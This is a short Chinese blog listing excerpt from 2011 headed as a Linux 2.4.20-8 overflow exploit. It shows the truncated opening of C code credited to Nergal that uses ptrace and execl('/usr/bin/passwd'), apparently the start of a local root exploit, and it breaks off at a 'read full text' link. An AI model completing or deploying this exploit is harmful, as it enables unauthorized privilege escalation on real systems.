Linux l 2.4.20-8 # 溢出
摘要:
代码如下:/* by Nergal */#include <stdio.h>#include <sys/ptrace.h>#include <fcntl.h>#include <sys/ioctl.h>void ex_passwd(int fd){char z;if (read(fd, &z, 1) <= 0) {perror("read:");exit(1);}execl("/usr/bin/passwd", "passwd", 0);perror("execl 阅读全文
posted @ 2011-05-02 00:24 小宝哥哥 阅读(279) 评论(0) 推荐(0)
浙公网安备 33010602011771号